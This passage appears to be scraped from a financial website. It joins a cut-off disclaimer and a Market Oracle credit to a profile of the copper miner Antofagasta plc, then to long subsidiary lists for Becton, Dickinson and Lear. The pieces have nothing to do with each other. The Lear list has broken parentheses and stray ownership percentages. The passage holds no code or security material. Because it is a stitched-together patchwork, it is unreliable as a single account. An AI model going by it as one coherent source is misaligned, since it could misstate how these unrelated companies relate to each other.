reports will perform as expected, and any comparisons made to other companies may not be valid or come into effect. Chris Vermeulen Archive 2005-2019 http://www.MarketOracle.co.uk - The Market Oracle is a FREE Daily Financial Markets Analysis & Forecasting online publication. Antofagasta plc is a copper mining company. The Company is engaged in by-product production and has interests in transport. The Company's segments include Los Pelambres, Centinela, Michilla, Antucoya, Zaldivar, Exploration and evaluation, Railway and other transport services, Mining, Water concession, and Corporate and other items. Its operating divisions include Mining and Transport. The mining division includes Los Pelambres, Centinela, Antucoya and Zaldivar. The transport division operates the main cargo transport system in the Antofagasta Region of Chile, moving goods and materials, such as sulfuric acid and copper cathodes to and from mines by road and rail network. The transport division provides rail and road cargo services in northern Chile. Its mining operations produce copper with by-products of gold, molybdenum and silver. Los Pelambres and Centinela produce copper concentrate containing gold and silver. The Centinela, Antucoya and Zaldivar produce copper cathodes. Read More The following companies are subsidiares of Becton, Dickinson and: (Bard Istanbul Healthcare Limited Company), Accuri Cytometers, Accuri Cytometers Inc., Adaptec Manufacturing Singapore, Alverix, Alverix Inc., Atto Bioscience, BD Holding S. de R.L. de C.V., BD Infection Prevention BV, BD Kiestra BV, BD Kiestra Total Lab Automation, BD Rapid Diagnostic (Suzhou) Co. Ltd., BD San Luis Potosi S.A. de C.V., BD Switzerland Sarl, BD Ventures LLC, BD West Africa Limited, BDX INO LLC, Bard (Thailand) Limited, Bard ASDI Inc., Bard Access Systems Inc., Bard Acquisition Sub Inc., Bard Australia Pty. Limited, Bard Benelux N.V., Bard Brachytherapy Inc., Bard Brasil Industria e Comercio de Produtos Para a Saude Ltda., Bard Canada Inc., Bard Chile S.p.A., Bard Czech Republic s.r.o., Bard Devices Inc., Bard Dublin ITC Limited, Bard EMEA Finance Center Sp.z o.o., Bard European Distribution Center N.V., Bard Finance B.V. & Co. KG., Bard Financial Services Ltd., Bard Finland OY, Bard France S.A.S., Bard Global Holdings I LLC, Bard Global Holdings II LLC, Bard Global Holdings III LLC, Bard Healthcare Inc., Bard Healthcare Science (Shanghai) Limited, Bard Hellas S.A., Bard Holding SAS, Bard Holdings Limited, Bard Holdings Netherlands B.V., Bard Hong Kong Limited, Bard IP Holdings Inc., Bard India Healthcare Pvt. Ltd., Bard International Holdings B.V., Bard International Inc., Bard Korea Ltd., Bard Limited, Bard MRL Acquisition Corp., Bard Malaysia Healthcare Sdn. Bhd., Bard Medica SA, Bard Medical Devices (Beijing) Co. Ltd., Bard Medical R&D (Shanghai) Co. Ltd., Bard Medical SA (Proprietary) Limited, Bard Mexico Realty S. de R.L. de C.V., Bard Norden AB, Bard Norway AS, Bard Pacific Health Care Company Ltd., Bard Peripheral Vascular Inc., Bard Poland Sp. z.o.o., Bard Productos Plasticos e Medicos Ltda., Bard Reynosa S.A. de C.V., Bard S.r.l., Bard Sdn. Bhd., Bard Shannon Limited, Bard Singapore Private Limited, Bard Sourcing Office Singapore Pte. Ltd., Bard Sweden AB, Bard UK Newco Limited, Bard de Espana S.A., Becton Dickinson (Gibraltar) Holdings Ltd., Becton Dickinson (Gibraltar) Limited, Becton Dickinson (Gibraltar) Management Limited, Becton Dickinson (Mauritius) Limited, Becton Dickinson (Pty) Ltd., Becton Dickinson (Thailand) Limited, Becton Dickinson A.G., Becton Dickinson A/S, Becton Dickinson Argentina S.R.L., Becton Dickinson Asia Holdings Ltd., Becton Dickinson Asia Limited, Becton Dickinson Austria GmbH, Becton Dickinson Austria Holdings GmbH, Becton Dickinson B.V., Becton Dickinson B.V. Saudi Limited Company, Becton Dickinson Benelux N.V., Becton Dickinson Biosciences Systems and Reagents Inc., Becton Dickinson Canada Inc., Becton Dickinson Caribe Ltd., Becton Dickinson Croatia d.o.o., Becton Dickinson Czechia s.r.o., Becton Dickinson Dispensing Belgium BVBA, Becton Dickinson Dispensing Denmark A/S, Becton Dickinson Dispensing France SAS, Becton Dickinson Dispensing Ireland Limited, Becton Dickinson Dispensing Norway, Becton Dickinson Dispensing Spain S.L.U., Becton Dickinson Dispensing UK Ltd., Becton Dickinson Distribution Center N.V., Becton Dickinson East Africa Ltd., Becton Dickinson Euro Finance Sarl, Becton Dickinson Europe Holdings S.A.S., Becton Dickinson France S.A.S., Becton Dickinson GSA Beteilgungs GmbH, Becton Dickinson Global Holdings I Inc., Becton Dickinson Global Holdings II LLC, Becton Dickinson Global Holdings IV LLC, Becton Dickinson Global Holdings V LLC, Becton Dickinson Global Holdings VII LLC, Becton Dickinson Global Holdings VIII LLC, Becton Dickinson Global Services Centre Sdn. Bhd, Becton Dickinson GmbH, Becton Dickinson Guatemala S.A., Becton Dickinson Hellas S.A., Becton Dickinson Holdings Limited, Becton Dickinson Holdings Ltd., Becton Dickinson Holdings Pte Ltd., Becton Dickinson Hungary Kft., Becton Dickinson India Private Limited, Becton Dickinson Industrias Cirurgicas Ltda., Becton Dickinson Infusion Therapy AB, Becton Dickinson Infusion Therapy Holdings UK Limited, Becton Dickinson Infusion Therapy Systems Inc., Becton Dickinson Infusion Therapy Systems Inc. S.A. de C.V., Becton Dickinson Infusion Therapy UK, Becton Dickinson Insulin Syringe Ltd., Becton Dickinson International Holdings II Pte Ltd., Becton Dickinson International Holdings III Pte Ltd., Becton Dickinson International Holdings Pte Ltd., Becton Dickinson Israel Ltd., Becton Dickinson Italia S.p.A., Becton Dickinson Ithalat Ihracat Limited Sirketi, Becton Dickinson Korea Holding Inc., Becton Dickinson Korea Ltd., Becton Dickinson Ltd., Becton Dickinson Luxembourg Finance S.a.r.L., Becton Dickinson Luxembourg Global Holdings Sarl, Becton Dickinson Luxembourg Holdings II S.a.r.L, Becton Dickinson Luxembourg Holdings III S.a.r.L, Becton Dickinson Luxembourg Holdings V S.a.r.L., Becton Dickinson Malaysia Inc., Becton Dickinson Management GmbH & Co. KG, Becton Dickinson Matrex Holdings Inc., Becton Dickinson Medical (S) Pte Ltd., Becton Dickinson Medical Devices (Shanghai) Co. Ltd., Becton Dickinson Medical Devices (Suzhou) Co. Ltd., Becton Dickinson Medical Products Pte. Ltd., Becton Dickinson Medical Technology (Jiangsu) Co. Ltd., Becton Dickinson Netherlands Global Holdings II C.V., Becton Dickinson Netherlands Holdings B.V., Becton Dickinson Netherlands Holdings II B.V., Becton Dickinson Norway AS, Becton Dickinson O.Y., Becton Dickinson Overseas Services Ltd., Becton Dickinson Pakistan (Pvt) Ltd., Becton Dickinson Penel Limited, Becton Dickinson Philippines Inc., Becton Dickinson Polska Sp.z.o.o., Becton Dickinson Portugal Unipessoal Lda., Becton Dickinson Pty. Ltd., Becton Dickinson Research Centre Ireland Limited, Becton Dickinson Rowa Germany GmbH, Becton Dickinson Rowa Italy Srl, Becton Dickinson S.A., Becton Dickinson Sample Collection GmbH, Becton Dickinson Scot Financing L.L.P., Becton Dickinson Scot Financing L.P., Becton Dickinson Sdn. Bhd., Becton Dickinson Slovakia s.r.o., Becton Dickinson Sweden AB, Becton Dickinson Sweden Holdings AB, Becton Dickinson Switzerland Global Holdings SarL, Becton Dickinson Technology Campus India, Becton Dickinson U.K. Limited, Becton Dickinson UK Financing I Limited, Becton Dickinson UK Financing II Limited, Becton Dickinson Venezuela C.A., Becton Dickinson Venture LLC, Becton Dickinson Verwaltungs GmbH, Becton Dickinson Vostok LLC, Becton Dickinson Worldwide Investments Sa.r.L., Becton Dickinson Zambia Limited, Becton Dickinson and Company Ltd., Becton Dickinson de Colombia Ltda., Becton Dickinson de Mexico S.A. de C.V., Becton Dickinson del Uruguay S.A., Benex Ltd., Biometric Imaging, Bridger Biomed Inc., C. R. Bard, C. R. Bard (Portugal) - Produtos e Artigos Medicos e Farmaceuticos, C. R. Bard Do Brasil Productos Medicos Ltda., C. R. Bard GmbH, C. R. Bard Inc., C. R. Bard Netherlands Sales B.V., CME America LLC, CME Ltd., CME Medical (UK) Limited, CME UK (Holdings) Limited, CRISI Medical Systems, CRISI Medical Systems Inc., Caesarea Medical Electronics, Cardal II LLC, Care Fusion Development Private Limited, CareFusion, CareFusion (Barbados) SrL, CareFusion (Shanghai) Commercial and Trading Co. Limited, CareFusion 213 LLC, CareFusion 2200 Inc., CareFusion 2201 Inc., CareFusion 302 LLC, CareFusion 303 Inc., CareFusion Asia (HK) Limited, CareFusion BH 335 d.o.o. Cazin, CareFusion Corporation, CareFusion D.R. 203 Ltd., CareFusion France 309 S.A.S., CareFusion Israel 330 Ltd., CareFusion Italy 312 S.p.A., CareFusion Manufacturing LLC, CareFusion Mexico 215 S.A. de C.V., CareFusion Netherlands 328 B.V., CareFusion Netherlands 503 B.V., CareFusion Netherlands 504 B.V., CareFusion Netherlands Financing 283 C.V., CareFusion Resources LLC, CareFusion S.A. 319 (Proprietary) Limited, CareFusion Solutions LLC, CareFusion U.K. 244 Limited, CareFusion U.K. 305 Limited, CareFusion U.K. 306 Limited, Carmel Pharma AB, Carmel Pharma Inc, Cato Software Solutions, Cell Analysis Systems Inc, Cellular Research, Cellular Research Inc., Clearstream Technologies Group Limited, Clearstream Technologies Limited, Clontech Laboratories Inc, Corporativo BD de Mexico S. de R.L. de C.V., Cubex, Cytopeia, DLD (Bermuda) Ltd., DVL Acquisition Sub Inc., Davol Inc., Davol International Limited, Davol Surgical Innovations S.A. de C.V., Difco Laboratories Incorporated, Distribuidora BD Mexico S.A. de C.V., Dutch American Manufacturers (D.A.M.) B.V., Dymax Corporation, Embo Medical Limited, Enturia de Mexico S. de R.L. de C.V., Enturican Inc., FJ International Inc., FlowCardia Inc., FlowCardia LLC, FlowJo LLC, Franklin Lakes Enterprises L.L.C., GSL Solutions, Gamer Lasertechnik GmbH, GenCell Biosystems, GenCell Biosystems Ltd., GeneOhm Sciences, GeneOhm Sciences Canada ULC, Gentest Corporation, Gesco International Inc., Gesco International LLC, HandyLab Inc, HandyLab Inc., IBD Holdings LLC, Iontophoretics Corporation, JoHome LLC, Kabushiki Kaisha Medicon (Medicon Inc.), Liberator Health and Education Services Inc., Liberator Health and Wellness Inc., Liberator Medical Holdings Inc., Liberator Medical Supply Inc., LifeBond, Limited Liability Company Bard Rus, Loma Vista Medical Inc., Loma Vista Medical LLC, Lutonix Inc., Med-Design Corporation, Med-Design Investment Holdings Inc., Med-Safe Systems Inc., MedChem Products Inc., Medafor Inc., Medegen LLC, Medinservice.com Inc., Medivance Inc., NAT Diagnostics, NAT Diagnostics Inc., NOW Medical Distribution Inc., NOW Medical Distribution LLC, Navarre Biomedical LLC, Navarre Biomedical Ltd., Neomend Inc., Nippon Becton Dickinson Company Ltd., Omega Biosystems Incorporated, P.R.C. (Isialys) Societe a responsabilitie limitee (Societe a associe unique), PT Becton Dickinson Indonesia, PharMingen, PreAnalytiX GmbH, Pristine Access Technologies Inc., ProSeed Inc., Procesos para Esterilizacion S.A. de C.V., Productos Bard de Mexico S.A. de C.V., Productos Para el Cuidado de la Salud S.A. de C.V., Puls Medical Devices AS LC, PureWick Corporation, Roberts Laboratories Inc., Rochester Medical Corporation, Rochester Medical Ltd., Saf-T-Med, Safety Syringes, Safety Syringes Inc., Sendal S.L.U., SenoRx Inc., SenoRx LLC, Shield Healthcare Centers Inc., Sirigen, Sirigen II Limited, Sirigen Inc., Sistemas Medicos ALARIS S.A. de C.V., Specialized Cooperative Corporation, Specialized Health Products Inc., Specialized Health Products International Inc., Specialized Health Products International LLC, Staged Diabetes Management LLC, Straub Medical, Straub Medical AG, Surgical Site Solutions Inc., TVA Medical, TVA Medical Inc., Tepha, Tepha Inc., Tri-County Medical & Ostomy Supplies Inc., TriPath Imaging, TriPath Imaging Inc., Vas-Cath Incorporated, Vascular Pathways Inc., Velano Vascular, Velano Vascular Inc., Venetec International Inc., Venetec International LLC, Y-Med Inc., Y-Med LLC, and ZebraSci Inc.. The following companies are subsidiares of Lear: AccuMED Corp., AccuMED Holdings Corp., Arada Systems, Autotech Fund II L.P.(Delaware) (5.56%, Beijing BAI Lear Automotive Systems Co. Ltd., Beijing BHAP Lear Automotive Systems Co. Ltd.(China) (50%, Beijing Lear Dymos Automotive Systems Co. Ltd., CelLink Corporation, Changchun Lear FAWSN Automotive Electrical and Electronics Co. Ltd., Changchun Lear FAWSN Automotive Seat Systems Co. Ltd., Chihuahua Electrical Wiring Systems S. de R.L. de C.V., China New Trend Group Co. Ltd, Consorcio Industrial Mexicano de Autopartes S. de R.L. de C.V., Cordelia Autoparts Sweden AB, Dunlop Cox Limited, Durango Automotive Wiring Systems S. de R.L. de C.V., EXO Technologies Ltd., Eagle Ottawa (Thailand) Co. Ltd., Eagle Ottawa China Ltd., Eagle Ottawa Fonseca S.A., Eagle Ottawa Foreign Holdings ApS, Eagle Ottawa Holdings Ltd., Eagle Ottawa Hungary Kft., Eagle Ottawa LLC, Eagle Ottawa North America LLC, Eagle Ottawa Warrington Ltd., Evolved by Nature Inc., Foshan Lear FAWSN Automotive Systems Co. Ltd., Grote & Hartmann, Guangzhou Lear Automotive Components Co. Ltd, Guilford Europe Limited, Guilford Europe Pension Trustees Limited, Guilford Mills, Guilford Mills Europe Limited, Guilford Mills Limited, HB Polymer Company LLC, Honduras Electrical Distribution Systems S. de R.L. de C.V., Hyundai Transys Lear Automotive India Private Limited, Industrias Cousin Freres S.L., Industrias Lear de Argentina SrL, Insys - Interior Systems SA, Jiangxi Jiangling Lear Interior Systems Co. Ltd., Kyungshin-Lear Sales and Engineering LLC, Lear (China) Holding Limited, Lear (Luxembourg) S.a.r.l., Lear (Shanghai) Auto Parts Technology Co. Ltd., Lear Automotive (Malaysia) Sdn. Bhd., Lear Automotive (Thailand) Co. Ltd., Lear Automotive EEDS Honduras S.A., Lear Automotive Electronics and Electrical Products (Shanghai) Co. Ltd., Lear Automotive Fabrics (RuiAn) Co. Ltd., Lear Automotive India Private Limited, Lear Automotive Interior Materials (Yangzhou) Co. Ltd., Lear Automotive Manufacturing L.L.C., Lear Automotive Metals (Wuhan) Co. Ltd., Lear Automotive Morocco SAS, Lear Automotive Operations Netherlands B.V., Lear Automotive Services (Netherlands) B.V., Lear Automotive Systems (Changshu) Co. Ltd., Lear Automotive Systems (Chongqing) Co. Ltd., Lear Automotive Systems (Shenyang) Co. Ltd., Lear Automotive Systems (Yangzhou) Co. Ltd., Lear Canada, Lear Canada Holding S.a.r.l., Lear Canada Investments ULC, Lear Changan (Chongqing) Automotive System Co. Ltd., Lear Changan (Hangzhou) Automotive Seating Co. Ltd., Lear China Engineering LLC, Lear Corporation (Mauritius) Limited, Lear Corporation (Nottingham) Limited, Lear Corporation (UK) Limited, Lear Corporation (Vietnam) Limited, Lear Corporation Ara S.L., Lear Corporation Ardasa S.L., Lear Corporation Asientos S.L., Lear Corporation Belgium CVA, Lear Corporation Beteiligungs GmbH, Lear Corporation Canada ULC, Lear Corporation Changchun Automotive Interior Systems Co. Ltd., Lear Corporation China Ltd., Lear Corporation Czech Republic s.r.o., Lear Corporation Engineering (UK) Limited, Lear Corporation Engineering Belgium B.V.B.A., Lear Corporation Engineering Czech Republic s.r.o., Lear Corporation Engineering GmbH, Lear Corporation Engineering Hungary Kft., Lear Corporation Engineering II GmbH, Lear Corporation Engineering Italy S.r.l., Lear Corporation Engineering Morocco S.a.r.l., Lear Corporation Engineering Poland Sp. z.o.o., Lear Corporation Engineering Slovakia s.r.o., Lear Corporation d.o.o. Novi Sad, and United Technologies Automotive.